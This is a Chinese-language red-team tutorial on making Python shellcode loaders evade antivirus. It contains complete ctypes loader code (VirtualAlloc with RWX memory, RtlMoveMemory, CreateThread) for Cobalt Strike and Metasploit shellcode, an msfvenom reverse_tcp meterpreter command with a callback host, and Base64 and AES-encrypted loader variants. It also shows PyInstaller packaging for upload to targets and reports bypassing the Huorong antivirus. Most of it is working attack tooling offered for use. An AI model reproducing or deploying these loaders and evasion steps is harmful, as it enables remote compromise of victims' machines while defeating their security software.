免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall

Python-MSF/CS生成shellcode-上线

cs上线

1.生成shellcode-c或者python

2.打开pycharm工具，创建一个py文件，将原生态执行代码复制进去

shellcode执行代码：

import ctypes
 
from django.contrib.gis import ptr
 
 
#cs
 
#shellcode=bytearray(b"生成的shellcode")
 
 
#msf的shellcode拼接代码
 
# shellcode = bytearray(b"")
 
# shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
 
# shellcode += b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
 
# print(shellcode)
 
 
#msf拼接后shellcode
 
shellcode = bytearray(b'拼接完成shellcode')
 
 
# 设置VirtualAlloc返回类型为ctypes.c_uint64
 
#在64位系统上运行，必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64，否则默认的是32位
 
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
 
 
# 申请内存：调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
 
ptr = ctypes.windll.kernel32.VirtualAlloc(
 
    ctypes.c_int(0),  #要分配的内存区域的地址
 
    ctypes.c_int(len(shellcode)), #分配的大小
 
    ctypes.c_int(0x3000),  #分配的类型，0x3000代表MEM_COMMIT | MEM_RESERVE
 
    ctypes.c_int(0x40) #该内存的初始保护属性，0x40代表可读可写可执行属性
 
    )
 
 
# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
 
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
ctypes.windll.kernel32.RtlMoveMemory(
 
    ctypes.c_uint64(ptr),
 
    buffered,
 
    ctypes.c_int(len(shellcode))
 
)
 
 
# 创建一个线程从shellcode放置位置首地址开始执行
 
handle = ctypes.windll.kernel32.CreateThread(
 
    ctypes.c_int(0), #指向安全属性的指针
 
    ctypes.c_int(0), #初始堆栈大小
 
    ctypes.c_uint64(ptr), #指向起始地址的指针
 
    ctypes.c_int(0), #指向任何参数的指针
 
    ctypes.c_int(0), #创建标志
 
    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
 
)
 
 
# 等待上面创建的线程运行完
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

3.将生成的shellcode放到执行代码中，运行代码，cs成功上线

MSF上线

1.执行命令，生成shellcode

命令：msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

2.msf设置监听

3.将shellcode放到执行脚本中运行

因为msf生成的shellcode是有换行的，所以要进行拼接，如下图：

可以使用图中的拼接直接运行。也可以输出shellcode，使用拼接后的shellcode运行。

直接使用拼接的shellcode：运行脚本成功上线

Python-混淆加密- Base64 & AES & 反序列化等

一、Base64编码

1.运行代码将cs/msf生成的shellcode去掉换行进行base64编码

编码代码：

import base64
 
shellcode = b'生成的shellcode'
s=base64.b64encode(shellcode)
print(s)

也可以使用命令直接生成base64编码的shellcode：

msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.206.129 lport=4444 -f c

2.将经过base64编码的shellcode放入执行代码中，然后在执行代码中加入base64的解码代码。

解码代码：shellcode=base64.b64decode(shellcode)

成功构造免杀脚本，执行脚本msf成功上线

二、AES加密

AES加密代码：

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64
 
 
# 如果text不足16位的倍数就用空格补足为16位
 
def add_to_16(text):
    if len(text.encode('utf-8')) % 16:
        add = 16 - (len(text.encode('utf-8')) % 16)
    else:
        add = 0
    text = text + ('\0' * add)
    return text.encode('utf-8')
 
 
# 加密函数
 
def encrypt(text):
    key = '9999999999999999'.encode('utf-8')
    mode = AES.MODE_CBC
    iv = b'qqqqqqqqqqqqqqqq'
    text = add_to_16(text)
    cryptos = AES.new(key, mode, iv)
    cipher_text = cryptos.encrypt(text)
    #print(base64.b64decode(cipher_text))
    # 因为AES加密后的字符串不一定是ascii字符集的，输出保存可能存在问题，所以这里转为16进制字符串
    return b2a_hex(cipher_text)
 
 
def zhixing(shellcode):
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
 
if __name__ == '__main__':
 
   # 加密
    #msf
#     s='''base64编码后的shellcode'''
 
    #cs
    s='base64编码的shellcode'
    e = encrypt(s)
    print(e)

AES解密执行代码：

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64
 
 
# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):
    if len(text.encode('utf-8')) % 16:
        add = 16 - (len(text.encode('utf-8')) % 16)
    else:
        add = 0
    text = text + ('\0' * add)
    return text.encode('utf-8')
 
 
# 解密后，去掉补足的空格用strip() 去掉
def decrypt(text):
    key = '9999999999999999'.encode('utf-8')
    iv = b'qqqqqqqqqqqqqqqq'
    mode = AES.MODE_CBC
    cryptos = AES.new(key, mode, iv)
    plain_text = cryptos.decrypt(a2b_hex(text))
    shellcode=bytes.decode(plain_text).rstrip('\0')
    return shellcode
 
 
def zhixing(shellcode):
    shellcode = bytearray(base64.b64decode(shellcode))
 
    # 设置VirtualAlloc返回类型为ctypes.c_uint64
    # 在64位系统上运行，必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64，否则默认的是32位
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
 
    # 申请内存：调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(
        ctypes.c_int(0),  # 要分配的内存区域的地址
        ctypes.c_int(len(shellcode)),  # 分配的大小
        ctypes.c_int(0x3000),  # 分配的类型，0x3000代表MEM_COMMIT | MEM_RESERVE
        ctypes.c_int(0x40)  # 该内存的初始保护属性，0x40代表可读可写可执行属性
    )
 
    # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
    buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buffered,
        ctypes.c_int(len(shellcode))
    )
 
    # 创建一个线程从shellcode放置位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),  # 指向安全属性的指针
        ctypes.c_int(0),  # 初始堆栈大小
        ctypes.c_uint64(ptr),  # 指向起始地址的指针
        ctypes.c_int(0),  # 指向任何参数的指针
        ctypes.c_int(0),  # 创建标志
        ctypes.pointer(ctypes.c_int(0))  # 指向接收线程标识符的值的指针
    )
 
    # 等待上面创建的线程运行完
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
 
if __name__ == '__main__':
    #msf
    #e='AES解密后的shellcode'
 
    #cs
    e='AES解密后的shellcode'
    d = decrypt(e)  # 解密
    zhixing(d)

1.使用cs生成一个64位shellcode，执行代码对其进行base64编码

2.在对编码后的shellcode进行AES加密

3.将AES加密后的shellcode放到AES解密执行代码中。成功构造免杀脚本，执行脚本cs成功上线

三、反序列化

1.将msf生成的shellcode放到代码中进行序列化和base64加密

2.将经过序列化和base64的shellcode放到反序列化和base64解密的执行代码中。成功构造免杀脚本，执行脚本msf成功上线

Python-打包器

以上测试了shellcode的原生态、base64、AES、反序列化等混淆加密的免杀上线方式。但是实战不可能上传py脚本，所以要使用python打包器将py脚本打包为exe执行程序在上传。打包器也能起到免杀效果。

Pyinstall打包器

安装：pip install pyinstaller

参数介绍：

-F, –onefile 打包一个单个文件，如果你的代码都写在一个.py文件的话，可以用这个，如果是多个.py文件就别用

-D, –onedir 打包多个文件，在dist中生成很多依赖文件，适合以框架形式编写工具代码，我个人比较推荐这样，代码易于维护

-K, –tk 在部署时包含 TCL/TK

-a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.

-d, –debug 产生debug版本的可执行文件

-w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)

-c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)

1.执行命令，将原生态1.py进行打包

命令：pyinstaller -F 1.py

打包后的exe程序在根目录下的dist目录中

2.将打包的脚本上传到目标系统，执行脚本，成功绕过火绒检测，msf成功上线

3.上传了四种打包后的shellcode脚本，结果原生态反而绕过了火绒检测，其他三种经过混淆加密的全部被杀。